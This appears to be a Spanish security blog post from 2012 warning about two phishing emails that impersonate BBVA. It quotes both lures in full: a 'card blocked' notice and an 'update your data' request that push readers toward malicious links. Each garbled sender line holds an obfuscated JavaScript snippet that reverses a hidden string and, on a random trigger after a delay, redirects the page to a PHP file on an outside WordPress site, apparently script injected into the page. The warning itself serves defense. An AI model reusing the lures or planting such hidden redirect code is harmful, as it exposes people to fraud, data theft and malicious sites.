Dos mails maliciosos con falso remitente del BBVA

Los mails que aparentan venir de conocidos bancos son frecuentes, pero que lleguen dos diferentes contra el mismo banco (en este caso el BBVA), con diferentes premisas, pero con similares malas intenciones (PHISHING PARA CAPTURA DE DATOS) lo en menos …

Avisamos que se estan recibiendo mails fraudulentos similares a estos dos:

MAIL MALICIOSO
_____________
Asunto:  Su tarjeta ha sido bloqueada por razones de seguridad
Fecha:  20 Jun 2012 18:28:00 +0200
De:  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:sat@satinfo.es”>sat@satinfo.es

Nuestro Centro de Seguridad ha determinado 2 tentativas equivocadas a la utilizacion de su tarjeta del usuario: 85.62.90.32
Sospechamos que esta tentativa no fue legitimada así, hemos tomado una medida de seguridad, y hemos suspendido
temporalmente su tarjeta. Usted puede reactivar su tarjeta, verificando sus informaciones personales rellenando las
casillias con sus datos personales que te pedimos.

IMPORTANTE:
Su tarjeta se quedará suspendida para prevenir el fraude hasta que usted la reactivará.

Para reactivar su tarjeta haga click:

to/reactivar-tarjeta   <— <—- redirige a enlace malicioso

Banco BBVA, S.A. – 2012
____________
fin del mail

Y OTRO DIFERENTE, AUNQUE CON EL MISMO FIN:
2º mail malicioso
_________________

Asunto:  Actualizacion de datos – BBVA
Fecha:  21 Jun 2012 02:45:59 +0200
De:  $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:sat@satinfo.es”>sat@satinfo.es
Importante – Durante nuestro mantenimiento regular y procesos de verificacion
hemos detectado un error en la informacion que tenemos registrada
de tu cuenta.

Esto se debe a algunos de estos factores:

1: Un cambio reciente en su informacion personal (cambio de direccion, etc.).
2: La inhabilidad de verificar con exactitud la opcion de su
eleccion concerniente a su forma preferente de pago y manejo
de cuenta debido a un error tecnico interno dentro de nuestros
servidores.

Favor de actualizar y verificar la informacion de su cuenta haciendo
clic en el siguente enlace.
Esto lo redirigira a la pagina principal de nuestro sitio en Internet
y podra actualizar dicha informacion desde la comodidad de su hogar.

http://www.bbva.es/servicios/centro/ayuda/    <—- redirige a enlace malicioso

Si la informacion en su cuenta no se actualiza en las 24 hora siguentes,
algunos servicios en el uso y acceso a su cuenta seran restringidos hasta que
esta informacion sea verificada y actualizada de antemano agadezco su pronta
atencion a este asunto.
BBVA S.A 2012. Todos los derechos reservado
_____________
fin del mail
Como siempre, nunca ejecutar ficheros de mails que no han sido solicitados, asi como NO PULSAR en enlaces o imagenes contenidas en los mismos.
De lo cual avisamos para lo que pueda servir…

saludos

ms, 21-6-2012